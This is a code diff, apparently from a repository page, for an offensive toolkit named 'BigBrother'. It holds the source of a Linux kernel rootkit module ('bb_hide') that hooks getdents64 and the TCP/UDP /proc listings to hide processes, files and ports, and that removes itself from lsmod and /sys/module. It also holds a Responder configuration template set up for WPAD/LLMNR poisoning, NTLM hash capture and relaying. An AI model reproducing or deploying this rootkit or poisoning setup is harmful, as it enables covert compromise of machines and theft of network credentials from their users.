||||
if (hidden_pids[i] == pid)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
static bool is_port_hidden(u16 port)
|
||||
{
|
||||
int i;
|
||||
for (i = 0; i < hidden_port_count; i++)
|
||||
if (hidden_ports[i] == port)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
static bool should_hide_name(const char *name)
|
||||
{
|
||||
if (!name || !hide_prefix || !*hide_prefix)
|
||||
return false;
|
||||
return strstr(name, hide_prefix) != NULL;
|
||||
}
|
||||
|
||||
static bool is_proc_pid_hidden(const char *name)
|
||||
{
|
||||
long pid_val;
|
||||
if (!name)
|
||||
return false;
|
||||
if (kstrtol(name, 10, &pid_val) != 0)
|
||||
return false;
|
||||
return is_pid_hidden((pid_t)pid_val);
|
||||
}
|
||||
|
||||
/* ================================================================
|
||||
* Ftrace-based hooking infrastructure
|
||||
*
|
||||
* We use ftrace to hook getdents64 for file/process hiding.
|
||||
* This is safer than direct syscall table modification on modern kernels.
|
||||
* ================================================================ */
|
||||
|
||||
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 7, 0)
|
||||
/* Since 5.7, kallsyms_lookup_name is not exported.
|
||||
* Use a kprobe to find it. */
|
||||
static unsigned long lookup_name(const char *name)
|
||||
{
|
||||
struct kprobe kp = { .symbol_name = name };
|
||||
unsigned long addr;
|
||||
int ret;
|
||||
|
||||
ret = register_kprobe(&kp);
|
||||
if (ret < 0)
|
||||
return 0;
|
||||
addr = (unsigned long)kp.addr;
|
||||
unregister_kprobe(&kp);
|
||||
return addr;
|
||||
}
|
||||
#else
|
||||
#define lookup_name kallsyms_lookup_name
|
||||
#endif
|
||||
|
||||
/* --- Hooked getdents64 for file and process hiding --- */
|
||||
|
||||
/*
|
||||
* We hook getdents64 via a kprobe on the return path.
|
||||
* After the real getdents64 returns, we scan the dirent buffer
|
||||
* and remove entries matching our hide criteria.
|
||||
*/
|
||||
|
||||
/* We use a kretprobe to post-process getdents64 results */
|
||||
static int (*orig_getdents64)(unsigned int fd, struct linux_dirent64 __user *dirent,
|
||||
unsigned int count);
|
||||
|
||||
/* Track which fd is /proc or a hidden directory */
|
||||
struct getdents_data {
|
||||
int fd;
|
||||
struct linux_dirent64 __user *dirent;
|
||||
unsigned int count;
|
||||
bool is_proc;
|
||||
char path[256];
|
||||
};
|
||||
|
||||
/*
|
||||
* kprobe-based approach: hook __x64_sys_getdents64 entry and return.
|
||||
* On return, filter the dirent buffer in userspace.
|
||||
*/
|
||||
|
||||
static struct kprobe kp_getdents64;
|
||||
|
||||
/* We use a simpler approach: kprobe on filldir64 or iterate_dir callbacks.
|
||||
* However, the most portable approach is a kretprobe on the vfs_readdir path.
|
||||
*
|
||||
* For maximum compatibility, we use the ftrace-based function hooking pattern
|
||||
* that works across kernel versions 4.x - 6.x.
|
||||
*/
|
||||
|
||||
/* --- Ftrace hook structure --- */
|
||||
|
||||
struct ftrace_hook {
|
||||
const char *name;
|
||||
void *function;
|
||||
void *original;
|
||||
unsigned long address;
|
||||
struct ftrace_ops ops;
|
||||
};
|
||||
|
||||
static int resolve_hook_address(struct ftrace_hook *hook)
|
||||
{
|
||||
hook->address = lookup_name(hook->name);
|
||||
if (!hook->address) {
|
||||
pr_err("bb_hide: unresolved symbol: %s\n", hook->name);
|
||||
return -ENOENT;
|
||||
}
|
||||
*((unsigned long *)hook->original) = hook->address;
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void notrace ftrace_thunk(unsigned long ip, unsigned long parent_ip,
|
||||
struct ftrace_ops *ops, struct ftrace_regs *fregs)
|
||||
{
|
||||
struct pt_regs *regs = ftrace_get_regs(fregs);
|
||||
struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops);
|
||||
|
||||
/* Skip if called from within our own module to avoid recursion */
|
||||
if (!within_module(parent_ip, THIS_MODULE))
|
||||
regs->ip = (unsigned long)hook->function;
|
||||
}
|
||||
|
||||
static int install_hook(struct ftrace_hook *hook)
|
||||
{
|
||||
int err;
|
||||
|
||||
err = resolve_hook_address(hook);
|
||||
if (err)
|
||||
return err;
|
||||
|
||||
hook->ops.func = ftrace_thunk;
|
||||
hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS
|
||||
| FTRACE_OPS_FL_RECURSION
|
||||
| FTRACE_OPS_FL_IPMODIFY;
|
||||
|
||||
err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
|
||||
if (err) {
|
||||
pr_err("bb_hide: ftrace_set_filter_ip failed: %d\n", err);
|
||||
return err;
|
||||
}
|
||||
|
||||
err = register_ftrace_function(&hook->ops);
|
||||
if (err) {
|
||||
pr_err("bb_hide: register_ftrace_function failed: %d\n", err);
|
||||
ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
|
||||
return err;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void remove_hook(struct ftrace_hook *hook)
|
||||
{
|
||||
int err;
|
||||
err = unregister_ftrace_function(&hook->ops);
|
||||
if (err)
|
||||
pr_err("bb_hide: unregister_ftrace_function failed: %d\n", err);
|
||||
err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
|
||||
if (err)
|
||||
pr_err("bb_hide: ftrace_set_filter_ip remove failed: %d\n", err);
|
||||
}
|
||||
|
||||
/* ================================================================
|
||||
* Hooked functions
|
||||
* ================================================================ */
|
||||
|
||||
/* --- Hook: getdents64 (file and /proc process hiding) --- */
|
||||
|
||||
static asmlinkage long (*real_getdents64)(const struct pt_regs *regs);
|
||||
|
||||
static asmlinkage long hook_getdents64(const struct pt_regs *regs)
|
||||
{
|
||||
struct linux_dirent64 __user *dirent;
|
||||
struct linux_dirent64 *cur, *prev, *kbuf;
|
||||
long ret;
|
||||
unsigned long offset;
|
||||
char dir_path[256];
|
||||
char *pathbuf;
|
||||
struct fd f;
|
||||
bool filtering_proc = false;
|
||||
bool filtering_files = false;
|
||||
|
||||
/* Call the original first */
|
||||
ret = real_getdents64(regs);
|
||||
if (ret <= 0)
|
||||
return ret;
|
||||
|
||||
dirent = (struct linux_dirent64 __user *)regs->si;
|
||||
|
||||
/* Determine what directory we're reading */
|
||||
f = fdget((unsigned int)regs->di);
|
||||
if (f.file) {
|
||||
pathbuf = kmalloc(256, GFP_KERNEL);
|
||||
if (pathbuf) {
|
||||
char *p = d_path(&f.file->f_path, pathbuf, 256);
|
||||
if (!IS_ERR(p)) {
|
||||
strncpy(dir_path, p, sizeof(dir_path) - 1);
|
||||
dir_path[sizeof(dir_path) - 1] = '\0';
|
||||
if (strcmp(dir_path, "/proc") == 0)
|
||||
filtering_proc = true;
|
||||
else
|
||||
filtering_files = true;
|
||||
}
|
||||
kfree(pathbuf);
|
||||
}
|
||||
fdput(f);
|
||||
}
|
||||
|
||||
if (!filtering_proc && !filtering_files)
|
||||
return ret;
|
||||
|
||||
/* Copy dirent buffer to kernel space for inspection */
|
||||
kbuf = kzalloc(ret, GFP_KERNEL);
|
||||
if (!kbuf)
|
||||
return ret;
|
||||
|
||||
if (copy_from_user(kbuf, dirent, ret)) {
|
||||
kfree(kbuf);
|
||||
return ret;
|
||||
}
|
||||
|
||||
/* Walk the dirent buffer and remove hidden entries */
|
||||
prev = NULL;
|
||||
offset = 0;
|
||||
while (offset < ret) {
|
||||
cur = (struct linux_dirent64 *)((char *)kbuf + offset);
|
||||
|
||||
bool hide = false;
|
||||
|
||||
if (filtering_proc && is_proc_pid_hidden(cur->d_name))
|
||||
hide = true;
|
||||
|
||||
if (filtering_files && should_hide_name(cur->d_name))
|
||||
hide = true;
|
||||
|
||||
if (hide) {
|
||||
/* Remove this entry by shifting subsequent entries back */
|
||||
long remaining = ret - offset - cur->d_reclen;
|
||||
if (remaining > 0)
|
||||
memmove(cur, (char *)cur + cur->d_reclen, remaining);
|
||||
ret -= cur->d_reclen;
|
||||
/* Don't advance offset — next entry is now at current position */
|
||||
} else {
|
||||
prev = cur;
|
||||
offset += cur->d_reclen;
|
||||
}
|
||||
}
|
||||
|
||||
/* Copy filtered buffer back to userspace */
|
||||
if (copy_to_user(dirent, kbuf, ret)) {
|
||||
kfree(kbuf);
|
||||
return ret;
|
||||
}
|
||||
|
||||
kfree(kbuf);
|
||||
return ret;
|
||||
}
|
||||
|
||||
/* --- Hook: tcp4_seq_show (hide /proc/net/tcp entries) --- */
|
||||
|
||||
static asmlinkage int (*real_tcp4_seq_show)(struct seq_file *seq, void *v);
|
||||
|
||||
static asmlinkage int hook_tcp4_seq_show(struct seq_file *seq, void *v)
|
||||
{
|
||||
struct sock *sk;
|
||||
struct inet_sock *inet;
|
||||
|
||||
if (v == SEQ_START_TOKEN)
|
||||
return real_tcp4_seq_show(seq, v);
|
||||
|
||||
sk = (struct sock *)v;
|
||||
inet = inet_sk(sk);
|
||||
|
||||
if (inet) {
|
||||
u16 src_port = ntohs(inet->inet_sport);
|
||||
u16 dst_port = ntohs(inet->inet_dport);
|
||||
|
||||
if (is_port_hidden(src_port) || is_port_hidden(dst_port))
|
||||
return 0; /* Skip this entry */
|
||||
}
|
||||
|
||||
return real_tcp4_seq_show(seq, v);
|
||||
}
|
||||
|
||||
/* --- Hook: udp4_seq_show (hide /proc/net/udp entries) --- */
|
||||
|
||||
static asmlinkage int (*real_udp4_seq_show)(struct seq_file *seq, void *v);
|
||||
|
||||
static asmlinkage int hook_udp4_seq_show(struct seq_file *seq, void *v)
|
||||
{
|
||||
struct sock *sk;
|
||||
struct inet_sock *inet;
|
||||
|
||||
if (v == SEQ_START_TOKEN)
|
||||
return real_udp4_seq_show(seq, v);
|
||||
|
||||
sk = (struct sock *)v;
|
||||
inet = inet_sk(sk);
|
||||
|
||||
if (inet) {
|
||||
u16 src_port = ntohs(inet->inet_sport);
|
||||
u16 dst_port = ntohs(inet->inet_dport);
|
||||
|
||||
if (is_port_hidden(src_port) || is_port_hidden(dst_port))
|
||||
return 0;
|
||||
}
|
||||
|
||||
return real_udp4_seq_show(seq, v);
|
||||
}
|
||||
|
||||
/* ================================================================
|
||||
* Hook table
|
||||
* ================================================================ */
|
||||
|
||||
static struct ftrace_hook hooks[] = {
|
||||
{
|
||||
.name = "__x64_sys_getdents64",
|
||||
.function = hook_getdents64,
|
||||
.original = &real_getdents64,
|
||||
},
|
||||
{
|
||||
.name = "tcp4_seq_show",
|
||||
.function = hook_tcp4_seq_show,
|
||||
.original = &real_tcp4_seq_show,
|
||||
},
|
||||
{
|
||||
.name = "udp4_seq_show",
|
||||
.function = hook_udp4_seq_show,
|
||||
.original = &real_udp4_seq_show,
|
||||
},
|
||||
};
|
||||
|
||||
#define NHOOKS (sizeof(hooks) / sizeof(hooks[0]))
|
||||
|
||||
/* ================================================================
|
||||
* Module self-hiding
|
||||
* ================================================================ */
|
||||
|
||||
static struct list_head *saved_mod_list;
|
||||
static struct list_head *saved_kobj_entry;
|
||||
|
||||
static void hide_module(void)
|
||||
{
|
||||
/* Remove from /proc/modules (lsmod) */
|
||||
saved_mod_list = THIS_MODULE->list.prev;
|
||||
list_del_init(&THIS_MODULE->list);
|
||||
|
||||
/* Remove from /sys/module/ */
|
||||
saved_kobj_entry = THIS_MODULE->mkobj.kobj.entry.prev;
|
||||
kobject_del(&THIS_MODULE->mkobj.kobj);
|
||||
}
|
||||
|
||||
static void show_module(void)
|
||||
{
|
||||
/* Restore to module list */
|
||||
list_add(&THIS_MODULE->list, saved_mod_list);
|
||||
/* Note: kobject restore is non-trivial; skip for cleanup simplicity */
|
||||
}
|
||||
|
||||
/* ================================================================
|
||||
* Init / Exit
|
||||
* ================================================================ */
|
||||
|
||||
static int __init bb_hide_init(void)
|
||||
{
|
||||
int i, err;
|
||||
|
||||
pr_info("bb_hide: loading\n");
|
||||
|
||||
/* Parse parameter lists */
|
||||
parse_pid_list(hide_pids);
|
||||
parse_port_list(hide_ports);
|
||||
|
||||
pr_info("bb_hide: hiding %d PIDs, %d ports, prefix='%s'\n",
|
||||
hidden_pid_count, hidden_port_count, hide_prefix);
|
||||
|
||||
/* Install hooks */
|
||||
for (i = 0; i < NHOOKS; i++) {
|
||||
err = install_hook(&hooks[i]);
|
||||
if (err) {
|
||||
pr_warn("bb_hide: failed to hook %s (err=%d), skipping\n",
|
||||
hooks[i].name, err);
|
||||
hooks[i].address = 0; /* Mark as not installed */
|
||||
}
|
||||
}
|
||||
|
||||
/* Hide ourselves from lsmod and /sys/module/ */
|
||||
hide_module();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void __exit bb_hide_exit(void)
|
||||
{
|
||||
int i;
|
||||
|
||||
/* Unhide module first so rmmod can find us */
|
||||
show_module();
|
||||
|
||||
/* Remove hooks in reverse order */
|
||||
for (i = NHOOKS - 1; i >= 0; i--) {
|
||||
if (hooks[i].address)
|
||||
remove_hook(&hooks[i]);
|
||||
}
|
||||
|
||||
pr_info("bb_hide: unloaded\n");
|
||||
}
|
||||
|
||||
module_init(bb_hide_init);
|
||||
module_exit(bb_hide_exit);
|
||||
@@ -0,0 +1,70 @@
|
||||
{# BigBrother Responder.conf template
|
||||
Jinja2 variables:
|
||||
protocols: dict of protocol toggles (LLMNR, NBT-NS, mDNS, HTTP, SMB, etc.)
|
||||
relay_targets: set of IPs excluded from SMB auth (for ntlm_relay)
|
||||
interface: network interface
|
||||
#}
|
||||
[Responder Core]
|
||||
|
||||
; Servers to start
|
||||
SQL = {{ 'On' if protocols.get('SQL', false) else 'Off' }}
|
||||
SMB = {{ 'On' if protocols.get('SMB', true) else 'Off' }}
|
||||
RDP = Off
|
||||
Kerberos = Off
|
||||
FTP = {{ 'On' if protocols.get('FTP', false) else 'Off' }}
|
||||
POP = {{ 'On' if protocols.get('POP', false) else 'Off' }}
|
||||
SMTP = {{ 'On' if protocols.get('SMTP', false) else 'Off' }}
|
||||
IMAP = {{ 'On' if protocols.get('IMAP', false) else 'Off' }}
|
||||
HTTP = {{ 'On' if protocols.get('HTTP', true) else 'Off' }}
|
||||
HTTPS = {{ 'On' if protocols.get('HTTP', true) else 'Off' }}
|
||||
DNS = Off
|
||||
LDAP = {{ 'On' if protocols.get('LDAP', false) else 'Off' }}
|
||||
DCERPC = Off
|
||||
WinRM = Off
|
||||
SNMP = Off
|
||||
MQTT = Off
|
||||
|
||||
; Custom challenge — Random is stealthier than fixed
|
||||
Challenge = Random
|
||||
|
||||
; Set specific interface
|
||||
; Interface = {{ interface }}
|
||||
|
||||
; WPAD configuration
|
||||
WPADScript = function FindProxyForURL(url, host){return "DIRECT";}
|
||||
{% if protocols.get('WPAD', true) %}
|
||||
; WPAD rogue proxy enabled
|
||||
Serve-Html = On
|
||||
Serve-Exe = Off
|
||||
{% endif %}
|
||||
|
||||
; Force WPAD auth for hash capture
|
||||
Force-WPAD-Auth = {{ 'On' if protocols.get('WPAD', true) else 'Off' }}
|
||||
|
||||
; Downgrade to NTLMv1 (more crackable but more detectable)
|
||||
; Set to On only when specifically targeting NTLMv1
|
||||
Downgrade-To-NTLMv1 = Off
|
||||
|
||||
; Don't respond to these machines (comma-separated hostnames)
|
||||
DontRespondToNames =
|
||||
|
||||
{% if relay_targets %}
|
||||
; Hosts excluded from SMB auth — being relayed by ntlmrelayx
|
||||
; These IPs should get auth forwarded to ntlmrelayx, not captured locally
|
||||
DontRespondTo = {{ relay_targets | join(', ') }}
|
||||
{% else %}
|
||||
DontRespondTo =
|
||||
{% endif %}
|
||||
|
||||
[HTTP Server]
|
||||
; Custom HTML to serve for WPAD/HTTP auth
|
||||
HTMLToInject =
|
||||
; Serve a custom EXE
|
||||
Serve-Always = Off
|
||||
Filename =
|
||||
ExecParams =
|
||||
|
||||
[HTTPS Server]
|
||||
; Self-signed cert params
|
||||
SSLCert = certs/responder.crt
|
||||
SSLKey = certs/responder.key
|
||||
Reference in New Issue
Block a user